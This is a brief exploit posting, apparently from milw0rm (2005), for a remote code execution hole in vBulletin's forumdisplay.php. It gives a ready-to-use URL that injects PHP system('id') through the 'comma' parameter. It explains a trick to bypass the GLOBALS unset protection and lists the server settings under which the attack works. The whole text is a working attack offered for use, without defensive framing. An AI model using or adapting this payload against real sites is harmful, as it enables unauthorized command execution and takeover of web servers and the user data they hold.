Exploit:
----------------
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Conditions:
----------------
1st condition     : $vboptions['showforumusers'] == True , the admin must set
		    showforumusers ON in vbulletin options.

2nd condition     : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.

3rd condition     : $DB_site->fetch_array($forumusers) == True , when you
		    visit the forums, it  must has at least one user show the forum.

4th condition     : magic_quotes_gpc must be OFF

SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
		    init.php by secret array GLOBALS[]=1 ;)))

# milw0rm.com [2005-02-14]